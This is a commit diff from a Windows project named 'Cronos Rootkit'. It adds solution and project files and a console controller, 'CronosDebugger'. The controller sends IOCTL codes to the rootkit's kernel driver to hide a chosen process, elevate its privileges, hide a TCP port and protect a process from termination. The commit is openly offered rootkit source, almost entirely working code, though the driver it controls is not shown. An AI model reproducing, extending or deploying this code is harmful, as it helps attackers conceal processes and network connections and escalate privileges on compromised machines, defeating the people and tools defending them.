Added user level driver controller.

Cronos Rootkit.sln

@@ -5,6 +5,8 @@ VisualStudioVersion = 16.0.31515.178
 MinimumVisualStudioVersion = 10.0.40219.1
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Cronos Rootkit", "Cronos Rootkit\Cronos Rootkit.vcxproj", "{05B4EB7F-3D59-4E6A-A7BC-7C1241578CA7}"
 EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CronosDebugger", "CronosDebugger\CronosDebugger.vcxproj", "{940B1177-2B8C-48A2-A8E7-BF4E8E80C60F}"
+EndProject
 Global
 	GlobalSection(SolutionConfigurationPlatforms) = preSolution
 		Debug|ARM = Debug|ARM
@@ -41,6 +43,18 @@ Global
 		{05B4EB7F-3D59-4E6A-A7BC-7C1241578CA7}.Release|x86.ActiveCfg = Release|Win32
 		{05B4EB7F-3D59-4E6A-A7BC-7C1241578CA7}.Release|x86.Build.0 = Release|Win32
 		{05B4EB7F-3D59-4E6A-A7BC-7C1241578CA7}.Release|x86.Deploy.0 = Release|Win32
+		{940B1177-2B8C-48A2-A8E7-BF4E8E80C60F}.Debug|ARM.ActiveCfg = Debug|Win32
+		{940B1177-2B8C-48A2-A8E7-BF4E8E80C60F}.Debug|ARM64.ActiveCfg = Debug|Win32
+		{940B1177-2B8C-48A2-A8E7-BF4E8E80C60F}.Debug|x64.ActiveCfg = Debug|x64
+		{940B1177-2B8C-48A2-A8E7-BF4E8E80C60F}.Debug|x64.Build.0 = Debug|x64
+		{940B1177-2B8C-48A2-A8E7-BF4E8E80C60F}.Debug|x86.ActiveCfg = Debug|Win32
+		{940B1177-2B8C-48A2-A8E7-BF4E8E80C60F}.Debug|x86.Build.0 = Debug|Win32
+		{940B1177-2B8C-48A2-A8E7-BF4E8E80C60F}.Release|ARM.ActiveCfg = Release|Win32
+		{940B1177-2B8C-48A2-A8E7-BF4E8E80C60F}.Release|ARM64.ActiveCfg = Release|Win32
+		{940B1177-2B8C-48A2-A8E7-BF4E8E80C60F}.Release|x64.ActiveCfg = Release|x64
+		{940B1177-2B8C-48A2-A8E7-BF4E8E80C60F}.Release|x64.Build.0 = Release|x64
+		{940B1177-2B8C-48A2-A8E7-BF4E8E80C60F}.Release|x86.ActiveCfg = Release|Win32
+		{940B1177-2B8C-48A2-A8E7-BF4E8E80C60F}.Release|x86.Build.0 = Release|Win32
 	EndGlobalSection
 	GlobalSection(SolutionProperties) = preSolution
 		HideSolutionNode = FALSE

Cronos Rootkit/Cronos Rootkit.vcxproj

@@ -42,6 +42,7 @@
     <Configuration>Debug</Configuration>
     <Platform Condition="'$(Platform)' == ''">Win32</Platform>
     <RootNamespace>Cronos_Rootkit</RootNamespace>
+    <WindowsTargetPlatformVersion>$(LatestTargetPlatformVersion)</WindowsTargetPlatformVersion>
   </PropertyGroup>
   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
@@ -117,6 +118,7 @@
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
     <DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>
+    <TargetName>Cronos</TargetName>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
     <DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>

CronosDebugger/CronosDebugger.vcxproj

@@ -0,0 +1,151 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup Label="ProjectConfigurations">
+    <ProjectConfiguration Include="Debug|Win32">
+      <Configuration>Debug</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|Win32">
+      <Configuration>Release</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Debug|x64">
+      <Configuration>Debug</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|x64">
+      <Configuration>Release</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+  </ItemGroup>
+  <PropertyGroup Label="Globals">
+    <VCProjectVersion>16.0</VCProjectVersion>
+    <Keyword>Win32Proj</Keyword>
+    <ProjectGuid>{940b1177-2b8c-48a2-a8e7-bf4e8e80c60f}</ProjectGuid>
+    <RootNamespace>CronosDebugger</RootNamespace>
+    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <PlatformToolset>v142</PlatformToolset>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v142</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <PlatformToolset>v142</PlatformToolset>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v142</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
+  <ImportGroup Label="ExtensionSettings">
+  </ImportGroup>
+  <ImportGroup Label="Shared">
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <PropertyGroup Label="UserMacros" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <LinkIncremental>true</LinkIncremental>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <LinkIncremental>false</LinkIncremental>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <LinkIncremental>true</LinkIncremental>
+    <TargetName>cdbg</TargetName>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <LinkIncremental>false</LinkIncremental>
+  </PropertyGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemGroup>
+    <ClCompile Include="Source.cpp" />
+  </ItemGroup>
+  <ItemGroup>
+    <ClInclude Include="Header.h" />
+  </ItemGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
+  <ImportGroup Label="ExtensionTargets">
+  </ImportGroup>
+</Project>

CronosDebugger/CronosDebugger.vcxproj.filters

@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup>
+    <Filter Include="Source Files">
+      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
+      <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
+    </Filter>
+    <Filter Include="Header Files">
+      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
+      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
+    </Filter>
+    <Filter Include="Resource Files">
+      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
+      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
+    </Filter>
+  </ItemGroup>
+  <ItemGroup>
+    <ClCompile Include="Source.cpp">
+      <Filter>Source Files</Filter>
+    </ClCompile>
+  </ItemGroup>
+  <ItemGroup>
+    <ClInclude Include="Header.h">
+      <Filter>Header Files</Filter>
+    </ClInclude>
+  </ItemGroup>
+</Project>

CronosDebugger/Header.h

@@ -0,0 +1,20 @@
+#include <Windows.h>
+#include <stdio.h>
+
+#define IOCTL_HIDEPROC	CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0001, METHOD_NEITHER, FILE_SPECIAL_ACCESS)
+#define IOCTL_ELEVATEME CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0002, METHOD_NEITHER, FILE_SPECIAL_ACCESS)
+#define IOCTL_HIDETCP	CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0003, METHOD_NEITHER, FILE_SPECIAL_ACCESS)
+#define IOCTL_PROTECT	CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0004, METHOD_NEITHER, FILE_SPECIAL_ACCESS)
+#define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003
+
+struct HideProcData {
+	ULONG TargetPID;
+};
+
+struct ElevateData {
+	ULONG TargetPID;
+};
+
+struct HideTcpData {
+	ULONG Port;
+};

CronosDebugger/Source.cpp

@@ -0,0 +1,206 @@
+#include "Header.h"
+#include <iostream>
+#include <tlhelp32.h>
+
+void InitHP();
+void InitElevate();
+void InitHPort();
+void InitProtProc();
+
+int main()
+{
+	int option;
+	while (TRUE)
+	{
+		printf(" \n");
+		printf(" - Cronos rootkit debugger - \n");
+		printf("1. Hide process\n");
+		printf("2. Elevate process\n");
+		printf("3. Hide port\n");
+		printf("4. Protect process\n");
+		printf("0. Close program\n");
+		printf("Option: ");
+		std::cin >> option;
+
+		if (option > 4)
+		{
+			printf("\nWrong option (Choose from 0 - 3)\n");
+			system("cls");
+		}
+		else
+		{
+			switch (option)
+			{
+			case 0:
+				return 0;
+				break;
+
+			case 1:
+				InitHP();
+				break;
+
+			case 2:
+				InitElevate();
+				break;
+
+			case 3:
+				InitHPort();
+				break;
+
+			case 4:
+				InitProtProc();
+				break;
+
+			default:
+				break;
+			}
+		}
+	}
+}
+
+BOOL IsProcessRunning(int pid)
+{
+	HANDLE processCheck = OpenProcess(SYNCHRONIZE, FALSE, pid);
+	DWORD ret = WaitForSingleObject(processCheck, 0);
+	CloseHandle(processCheck);
+	return ret == WAIT_TIMEOUT;
+}
+
+void InitHP()
+{
+	system("cls");
+	printf("[+] Opening handle to driver\n");
+	DWORD pid, write;
+
+	HANDLE hDevice = CreateFile(L"\\\\.\\Cronos", GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
+	if (hDevice == INVALID_HANDLE_VALUE)
+	{
+		printf("[-] Couldn't open handle to device (%d). Check if driver is loaded correctly.\n", GetLastError());
+		return;
+	}
+
+	while (TRUE)
+	{
+		printf("[?] Set process PID to hide: ");
+		std::cin >> pid;
+		if (IsProcessRunning(pid))
+			break;
+
+		printf("\n[-] Process does not exist.\n");
+	}
+
+	printf("\n[+] Writing data to driver...\n");
+	HideProcData data;
+	data.TargetPID = pid;
+
+	DWORD returned;
+	BOOL success = DeviceIoControl(hDevice, IOCTL_HIDEPROC, &data, sizeof(data), nullptr, 0, &returned, nullptr);
+	if (success)
+		printf("[!] Process has been hidden!\n");
+	else
+		printf("[-] Failed to hide processes\n");
+}
+
+void InitElevate()
+{
+	system("cls");
+	printf("[+] Opening handle to driver\n");
+	DWORD pid;
+
+	HANDLE hDevice = CreateFile(L"\\\\.\\Cronos", GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
+	if (hDevice == INVALID_HANDLE_VALUE)
+	{
+		printf("[-] Couldn't open handle to device (%d). Check if driver is loaded correctly.\n", GetLastError());
+		return;
+	}
+
+	while (TRUE)
+	{
+		printf("[?] Set process PID to elevate: ");
+		std::cin >> pid;
+		if (IsProcessRunning(pid))
+			break;
+
+		printf("\n[-] Process does not exist.\n");
+	}
+
+	printf("\n[+] Writing data to driver...\n");
+	ElevateData data;
+	data.TargetPID = pid;
+
+	printf("[+] Got target PID: %d\n", data.TargetPID);
+	DWORD returned;
+	BOOL success = DeviceIoControl(hDevice, IOCTL_ELEVATEME, &data, sizeof(data), nullptr, 0, &returned, nullptr);
+	if (success)
+		printf("[!] Process has been elevated!\n");
+	else
+		printf("[-] Failed to elevate process\n");
+}
+
+//Work in progress
+void InitHPort()
+{
+	system("cls");
+	printf("[+] Opening handle to driver\n");
+	DWORD port, write;
+
+	HANDLE hDevice = CreateFile(L"\\\\.\\Cronos", GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
+	if (hDevice == INVALID_HANDLE_VALUE)
+	{
+		printf("[-] Couldn't open handle to device (%d). Check if driver is loaded correctly.\n", GetLastError());
+		return;
+	}
+
+	printf("[?] Set TCP port to hide: ");
+	std::cin >> port;
+
+	printf("\n[+] Writing data to driver...\n");
+	HideTcpData data;
+	data.Port = port;
+
+	printf("[+] Hiding port: %d\n", data.Port);
+	DWORD returned;
+	BOOL success = DeviceIoControl(hDevice, IOCTL_HIDETCP, &data, sizeof(data), nullptr, 0, &returned, nullptr);
+	if (success)
+		printf("[!] Port has been hidden\n");
+	else
+		printf("[-] Failed to hide port\n");
+}
+
+void InitProtProc()
+{
+	system("cls");
+
+	printf("[!] Process will be also elevated!\n");
+	printf("[+] Opening handle to driver\n");
+	DWORD pid;
+
+	HANDLE hDevice = CreateFile(L"\\\\.\\Cronos", GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
+	if (hDevice == INVALID_HANDLE_VALUE)
+	{
+		printf("[-] Couldn't open handle to device (%d). Check if driver is loaded correctly.\n", GetLastError());
+		return;
+	}
+
+	while (TRUE)
+	{
+		printf("[?] Set process PID to hide: ");
+		std::cin >> pid;
+		if (IsProcessRunning(pid))
+			break;
+
+		printf("\n[-] Process does not exist.\n");
+	}
+
+	printf("\n[+] Writing data to driver...\n");
+	ElevateData data;
+	data.TargetPID = pid;
+
+	printf("[+] Got target PID: %d\n", data.TargetPID);
+	DWORD returned;
+	BOOL success = DeviceIoControl(hDevice, IOCTL_PROTECT, &data, sizeof(data), nullptr, 0, &returned, nullptr);
+	if (success)
+		printf("[!] Process has been protected!\n");
+	else
+		printf("[-] Failed to protect process\n");
+}